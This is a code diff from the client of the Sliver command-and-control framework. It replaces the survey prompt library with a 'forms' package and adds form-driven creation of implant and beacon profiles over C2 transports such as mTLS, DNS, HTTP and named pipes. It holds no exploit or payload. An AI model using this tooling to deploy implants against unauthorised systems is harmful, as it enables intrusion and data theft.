@@ -80,3 +113,151 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
}
}
func shouldRunGenerateProfilesNewForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
if con == nil || con.IsCLI {
return false
}
if len(args) != 0 {
return false
}
return cmd.Flags().NFlag() == 0
}
func applyGenerateProfilesNewForm(cmd *cobra.Command, result *forms.GenerateProfilesNewFormResult) (string, error) {
if err := cmd.Flags().Set("os", result.OS); err != nil {
return "", err
}
if err := cmd.Flags().Set("arch", result.Arch); err != nil {
return "", err
}
if err := cmd.Flags().Set("format", result.Format); err != nil {
return "", err
}
profileName := strings.TrimSpace(result.ProfileName)
if profileName == "" {
return "", errors.New("profile name required")
}
implantName := strings.TrimSpace(result.Name)
if implantName != "" {
if err := cmd.Flags().Set("name", implantName); err != nil {
return "", err
}
}
c2Value := strings.TrimSpace(result.C2Value)
switch result.C2Type {
case "mtls":
if err := cmd.Flags().Set("mtls", c2Value); err != nil {
return "", err
}
case "wg":
if err := cmd.Flags().Set("wg", c2Value); err != nil {
return "", err
}
case "http":
if err := cmd.Flags().Set("http", c2Value); err != nil {
return "", err
}
case "dns":
if err := cmd.Flags().Set("dns", c2Value); err != nil {
return "", err
}
case "named-pipe":
if err := cmd.Flags().Set("named-pipe", c2Value); err != nil {
return "", err
}
case "tcp-pivot":
if err := cmd.Flags().Set("tcp-pivot", c2Value); err != nil {
return "", err
}
default:
return "", errors.New("unsupported C2 transport selection")
}
return profileName, nil
}
func shouldRunGenerateProfilesNewBeaconForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
if con == nil || con.IsCLI {
return false
}
if len(args) != 0 {
return false
}
return cmd.Flags().NFlag() == 0
}
func applyGenerateProfilesNewBeaconForm(cmd *cobra.Command, result *forms.GenerateProfilesNewBeaconFormResult) (string, error) {
if err := cmd.Flags().Set("os", result.OS); err != nil {
return "", err
}
if err := cmd.Flags().Set("arch", result.Arch); err != nil {
return "", err
}
if err := cmd.Flags().Set("format", result.Format); err != nil {
return "", err
}
profileName := strings.TrimSpace(result.ProfileName)
if profileName == "" {
return "", errors.New("profile name required")
}
implantName := strings.TrimSpace(result.Name)
if implantName != "" {
if err := cmd.Flags().Set("name", implantName); err != nil {
return "", err
}
}
c2Value := strings.TrimSpace(result.C2Value)
switch result.C2Type {
case "mtls":
if err := cmd.Flags().Set("mtls", c2Value); err != nil {
return "", err
}
case "wg":
if err := cmd.Flags().Set("wg", c2Value); err != nil {
return "", err
}
case "http":
if err := cmd.Flags().Set("http", c2Value); err != nil {
return "", err
}
case "dns":
if err := cmd.Flags().Set("dns", c2Value); err != nil {
return "", err
}
case "named-pipe":
if err := cmd.Flags().Set("named-pipe", c2Value); err != nil {
return "", err
}
case "tcp-pivot":
if err := cmd.Flags().Set("tcp-pivot", c2Value); err != nil {
return "", err
}
default:
return "", errors.New("unsupported C2 transport selection")
}
if err := setOptionalInt64Flag(cmd, "days", result.Days); err != nil {
return "", err
}
if err := setOptionalInt64Flag(cmd, "hours", result.Hours); err != nil {
return "", err
}
if err := setOptionalInt64Flag(cmd, "minutes", result.Minutes); err != nil {
return "", err
}
if err := setOptionalInt64Flag(cmd, "seconds", result.Seconds); err != nil {
return "", err
}
if err := setOptionalInt64Flag(cmd, "jitter", result.Jitter); err != nil {
return "", err
}
return profileName, nil
}
+2 -3
View File
@@ -22,8 +22,8 @@ import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -45,8 +45,7 @@ func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm(fmt.Sprintf("Remove '%s' profile?", name), &confirm)
if !confirm {
return
}
+3 -10
View File
@@ -26,10 +26,10 @@ import (
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
@@ -140,10 +140,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args [
// saveFailedSample - Save the sample the encoder failed to properly encode/decode.
func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) {
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Failed to add traffic encoder %s, save failed sample to disk?", encoderName),
}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm(fmt.Sprintf("Failed to add traffic encoder %s, save failed sample to disk?", encoderName), &confirm)
if !confirm {
return
}
@@ -286,10 +283,6 @@ func SelectTrafficEncoder(con *console.SliverClient) string {
}
sort.Strings(encoderNames)
var selectedEncoder string
prompt := &survey.Select{
Message: "Select a traffic encoder:",
Options: encoderNames,
}
survey.AskOne(prompt, &selectedEncoder)
_ = forms.Select("Select a traffic encoder:", encoderNames, &selectedEncoder)
return selectedEncoder
}
+2 -6
View File
@@ -25,8 +25,8 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
@@ -86,12 +86,8 @@ func SelectHostIOC(host *clientpb.Host, con *console.SliverClient) (*clientpb.IO
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select an IOC:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
_ = forms.Select("Select an IOC:", options, &selected)
if selected == "" {
return nil, ErrNoSelection
}
+2 -6
View File
@@ -28,9 +28,9 @@ import (
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
@@ -172,12 +172,8 @@ func SelectHost(con *console.SliverClient) (*clientpb.Host, error) {
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a host:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
_ = forms.Select("Select a host:", options, &selected)
if selected == "" {
return nil, ErrNoSelection
}
+2 -2
View File
@@ -2,10 +2,10 @@ package info
import (
"context"
insecureRand "math/rand"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -16,7 +16,7 @@ func PingCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return
}
nonce := insecureRand.Intn(999999)
nonce := util.Intn(999999)
con.PrintInfof("Ping %d\n", nonce)
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
+1 -1
View File
@@ -163,5 +163,5 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
})
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, httpCmd, httpsCmd, stageCmd}
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
}
+3 -3
View File
@@ -22,11 +22,11 @@ import (
"context"
"errors"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -39,7 +39,7 @@ func KillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
confirm := false
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
if session != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
_ = forms.Confirm("Kill the active session?", &confirm)
if !confirm {
return
}
@@ -52,7 +52,7 @@ func KillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.ActiveTarget.Background()
return
} else if beacon != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
_ = forms.Confirm("Kill the active beacon?", &confirm)
if !confirm {
return
}
+2 -6
View File
@@ -31,9 +31,9 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -106,11 +106,7 @@ func SelectLoot(cmd *cobra.Command, rpc rpcpb.SliverRPCClient) (*clientpb.Loot,
}
selected := ""
prompt := &survey.Select{
Message: "Select a piece of loot:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
err = forms.Select("Select a piece of loot:", options, &selected)
if err != nil {
return nil, err
}
+2 -3
View File
@@ -26,12 +26,12 @@ import (
"strings"
"unicode/utf8"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
@@ -111,8 +111,7 @@ func saveLootToDisk(cmd *cobra.Command, loot *clientpb.Loot) (string, error) {
}
if _, err := os.Stat(saveTo); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
_ = forms.Confirm("Overwrite local file?", &overwrite)
if !overwrite {
return "", nil
}
+2 -3
View File
@@ -21,10 +21,10 @@ package loot
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
@@ -37,8 +37,7 @@ func LootRenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
}
oldName := loot.Name
newName := ""
prompt := &survey.Input{Message: "Enter new name: "}
survey.AskOne(prompt, &newName)
_ = forms.Input("Enter new name:", &newName)
loot, err = con.Rpc.LootUpdate(context.Background(), &clientpb.Loot{
ID: loot.ID,
+2 -6
View File
@@ -22,9 +22,9 @@ import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
@@ -121,11 +121,7 @@ func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.Mo
}
selected := ""
prompt := &survey.Select{
Message: "Select a configuration:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
err := forms.Select("Select a configuration:", options, &selected)
if err != nil {
return nil, err
}
+2 -6
View File
@@ -27,8 +27,8 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/rsteube/carapace"
)
@@ -49,11 +49,7 @@ func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.Slive
}
selected := ""
prompt := &survey.Select{
Message: "Select a beacon task:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
err := forms.Select("Select a beacon task:", options, &selected)
if err != nil {
return nil, err
}
+2 -3
View File
@@ -21,8 +21,8 @@ package reaction
import (
"os"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
)
@@ -33,8 +33,7 @@ func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverClient, args []str
return
}
confirm := false
prompt := &survey.Confirm{Message: "Reload reactions from disk?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Reload reactions from disk?", &confirm)
if !confirm {
return
}
+2 -3
View File
@@ -22,9 +22,9 @@ import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
)
@@ -33,8 +33,7 @@ func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
reactionPath := GetReactionFilePath()
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm(fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath), &confirm)
if !confirm {
return
}
+3 -10
View File
@@ -22,9 +22,9 @@ import (
"errors"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
)
@@ -77,12 +77,8 @@ func getEventType(cmd *cobra.Command, con *console.SliverClient) (string, error)
}
func selectEventType(con *console.SliverClient) (string, error) {
prompt := &survey.Select{
Message: "Select an event:",
Options: core.ReactableEvents,
}
selection := ""
err := survey.AskOne(prompt, &selection)
err := forms.Select("Select an event:", core.ReactableEvents, &selection)
if err != nil {
return "", err
}
@@ -96,9 +92,6 @@ func selectEventType(con *console.SliverClient) (string, error) {
func userCommands() (string, error) {
text := ""
prompt := &survey.Multiline{
Message: "Enter commands: ",
}
err := survey.AskOne(prompt, &text)
err := forms.Text("Enter commands:", &text)
return text, err
}
+2 -7
View File
@@ -25,9 +25,9 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
)
@@ -65,13 +65,8 @@ func selectReaction(con *console.SliverClient) (*core.Reaction, error) {
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove blank line at the end
// Prompt user with options
prompt := &survey.Select{
Message: "Select a reaction:",
Options: options,
}
selection := ""
err := survey.AskOne(prompt, &selection)
err := forms.Select("Select a reaction:", options, &selection)
if err != nil {
return nil, err
}
+2 -6
View File
@@ -27,8 +27,8 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -85,12 +85,8 @@ func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a session:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
_ = forms.Select("Select a session:", options, &selected)
if selected == "" {
return nil, ErrNoSelection
}
+1
View File
@@ -19,6 +19,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
},
GroupID: consts.GenericHelpGroup,
}
settingsCmd.Flags().Bool("show", false, "Show current settings without prompting")
settingsCmd.AddCommand(&cobra.Command{
Use: consts.SaveStr,
Short: "Save the current settings to disk",
+2 -3
View File
@@ -19,9 +19,9 @@ package settings
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
)
@@ -45,8 +45,7 @@ func IsUserAnAdult(con *console.SliverClient) bool {
return true
}
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
_ = forms.Confirm("This action is bad OPSEC, are you an adult?", &confirm)
return confirm
}
+67 -8
View File
@@ -19,11 +19,13 @@ package settings
*/
import (
"errors"
"strconv"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
@@ -39,6 +41,25 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
}
}
if shouldRunSettingsForm(cmd, con, args) {
tableStyleOptions := make([]string, 0, len(tableStyles))
for option := range tableStyles {
tableStyleOptions = append(tableStyleOptions, option)
}
result, err := forms.SettingsForm(con.Settings, tableStyleOptions)
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Settings form failed: %s\n", err)
return
}
if err := applySettingsForm(con.Settings, result); err != nil {
con.PrintErrorf("Failed to apply settings form values: %s\n", err)
return
}
}
tw := table.NewWriter()
tw.SetStyle(GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
@@ -48,6 +69,7 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
tw.AppendRow(table.Row{"Vim Mode", con.Settings.VimMode, "Navigation mode, vim style"})
tw.AppendRow(table.Row{"User Connect", con.Settings.UserConnect, "Show operator connect/disconnect events"})
tw.AppendRow(table.Row{"Console Logs", con.Settings.ConsoleLogs, "Log console output to disk"})
con.Printf("%s\n", tw.Render())
}
@@ -91,8 +113,7 @@ func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverClient, args []str
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
err = forms.Input("Set small width:", &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -126,11 +147,7 @@ func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverClient, args []str
options = append(options, option)
}
style := ""
prompt := &survey.Select{
Message: "Choose a style:",
Options: options,
}
err = survey.AskOne(prompt, &style)
err = forms.Select("Choose a style:", options, &style)
if err != nil {
con.PrintErrorf("No selection\n")
return
@@ -173,3 +190,45 @@ func SettingsUserConnect(cmd *cobra.Command, con *console.SliverClient, args []s
con.Settings.UserConnect = !con.Settings.UserConnect
con.PrintInfof("User connect events = %v\n", con.Settings.UserConnect)
}
func shouldRunSettingsForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
if con == nil || con.IsCLI {
return false
}
if len(args) != 0 {
return false
}
if show, err := cmd.Flags().GetBool("show"); err == nil && show {
return false
}
return cmd.Flags().NFlag() == 0
}
func applySettingsForm(settings *assets.ClientSettings, result *forms.SettingsFormResult) error {
if settings == nil {
return errors.New("settings are required")
}
if result == nil {
return errors.New("settings form result is required")
}
if _, ok := tableStyles[result.TableStyle]; !ok {
return errors.New("invalid table style")
}
width, err := strconv.Atoi(strings.TrimSpace(result.SmallTermWidth))
if err != nil {
return err
}
if width < 1 {
return errors.New("small terminal width must be 1 or greater")
}
settings.TableStyle = result.TableStyle
settings.AutoAdult = result.AutoAdult
settings.BeaconAutoResults = result.BeaconAutoResults
settings.SmallTermWidth = width
settings.AlwaysOverflow = result.AlwaysOverflow
settings.VimMode = result.VimMode
settings.UserConnect = result.UserConnect
settings.ConsoleLogs = result.ConsoleLogs
return nil
}
+2 -5
View File
@@ -22,9 +22,9 @@ import (
"fmt"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/term"
@@ -212,10 +212,7 @@ func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bo
if 1 < len(pages) {
if pageNumber+1 < len(pages) {
nextPage := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("[%d/%d] Continue?", pageNumber+1, len(pages)),
}
survey.AskOne(prompt, &nextPage)
_ = forms.Confirm(fmt.Sprintf("[%d/%d] Continue?", pageNumber+1, len(pages)), &nextPage)
if !nextPage {
break
}
+2 -3
View File
@@ -27,8 +27,8 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
"gopkg.in/AlecAivazis/survey.v1"
)
// SocksStartCmd - Add a new tunneled port forward.
@@ -56,8 +56,7 @@ func SocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
con.PrintWarnf("SOCKS proxy authentication credentials are tunneled to the implant\n")
con.PrintWarnf("These credentials are recoverable from the implant's memory!\n\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you understand the implication?"}
survey.AskOne(prompt, &confirm, nil)
_ = forms.Confirm("Do you understand the implication?", &confirm)
if !confirm {
return
}
+2 -6
View File
@@ -29,10 +29,10 @@ import (
"github.com/spf13/cobra"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -214,12 +214,8 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Se
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.MultiSelect{
Message: "Select sessions and beacons:",
Options: options,
}
selected := []string{}
survey.AskOne(prompt, &selected)
_ = forms.MultiSelect("Select sessions and beacons:", options, &selected)
if len(selected) == 0 {
return nil, nil, fmt.Errorf("no sessions or beacons selected 🤔")
+4 -10
View File
@@ -24,7 +24,6 @@ import (
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
@@ -36,6 +35,7 @@ import (
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
@@ -750,11 +750,7 @@ func taskResponseDownload(download *sliverpb.Download, con *console.SliverClient
saveTo = "Save to File ..."
)
action := saveTo
prompt := &survey.Select{
Message: "Choose an option:",
Options: []string{dump, saveTo},
}
err := survey.AskOne(prompt, &action, survey.WithValidator(survey.Required))
err := forms.SelectRequired("Choose an option:", []string{dump, saveTo}, &action)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -769,16 +765,14 @@ func taskResponseDownload(download *sliverpb.Download, con *console.SliverClient
func promptSaveToFile(data []byte, con *console.SliverClient) {
saveTo := ""
saveToPrompt := &survey.Input{Message: "Save to: "}
err := survey.AskOne(saveToPrompt, &saveTo)
err := forms.Input("Save to:", &saveTo)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if _, err := os.Stat(saveTo); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Overwrite existing file?", &confirm)
if !confirm {
return
}
+2 -6
View File
@@ -9,8 +9,8 @@ import (
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/rsteube/carapace"
)
@@ -32,11 +32,7 @@ func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error
}
selected := ""
prompt := &survey.Select{
Message: "Select a beacon task:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
err := forms.Select("Select a beacon task:", options, &selected)
if err != nil {
return nil, err
}
+6 -12
View File
@@ -28,16 +28,15 @@ import (
"net/url"
"os"
"os/user"
"path"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
@@ -57,14 +56,12 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.Println()
con.Println(console.Warn + "You're trying to update over an insecure connection, this is a really bad idea!")
confirm := false
prompt := &survey.Confirm{Message: "Recklessly update?"}
survey.AskOne(prompt, &confirm)
forms.Confirm("Recklessly update?", &confirm)
if !confirm {
return
}
confirm = false
prompt = &survey.Confirm{Message: "Seriously?"}
survey.AskOne(prompt, &confirm)
forms.Confirm("Seriously?", &confirm)
if !confirm {
return
}
@@ -115,9 +112,9 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintInfof("No new releases.\n")
}
now := time.Now()
lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
lastCheck := fmt.Appendf(nil, "%d", now.Unix())
appDir := assets.GetRootAppDir()
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName)
err = os.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
if err != nil {
con.Printf("Failed to save update check time %s", err)
@@ -231,10 +228,7 @@ func updateAvailable(con *console.SliverClient, client *http.Client, release *ve
con.Println()
confirm := false
prompt := &survey.Confirm{
Message: "Download update?",
}
survey.AskOne(prompt, &confirm)
forms.Confirm("Download update?", &confirm)
if confirm {
con.Printf("Please wait ...")
err := downloadAsset(client, serverAsset, saveTo)
+3 -8
View File
@@ -27,12 +27,12 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -74,8 +74,7 @@ func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Sessio
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
if err == nil {
} else {
for _, session := range sessions.Sessions {
if strings.HasPrefix(session.ID, id) {
return session, nil, nil
@@ -162,12 +161,8 @@ func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clien
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a session or beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
_ = forms.Select("Select a session or beacon:", options, &selected)
if selected == "" {
return nil, nil, ErrNoSelection
}
@@ -27,8 +27,8 @@ import (
"path"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -130,8 +130,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
func confirmAddDirectory() bool {
confirm := false
prompt := &survey.Confirm{Message: "Recursively add entire directory?"}
survey.AskOne(prompt, &confirm, nil)
_ = forms.Confirm("Recursively add entire directory?", &confirm)
return confirm
}
+3 -3
View File
@@ -24,7 +24,6 @@ import (
"fmt"
"io"
"log"
insecureRand "math/rand"
"os"
"path/filepath"
"strconv"
@@ -40,6 +39,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/util"
"github.com/gofrs/uuid"
"github.com/reeflective/console"
"github.com/reeflective/readline"
@@ -431,9 +431,9 @@ func (con *SliverClient) PrintLogo() {
}
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
logo := asciiLogos[insecureRand.Intn(len(asciiLogos))]
logo := asciiLogos[util.Intn(len(asciiLogos))]
fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n"))
fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r")
fmt.Println("All hackers gain " + abilities[util.Intn(len(abilities))] + "\r")
fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty)
if version.GitCommit != serverVer.Commit {
fmt.Printf(Info+"Client %s\r\n", version.FullVersion())
+52
View File
@@ -0,0 +1,52 @@
package forms
import (
"errors"
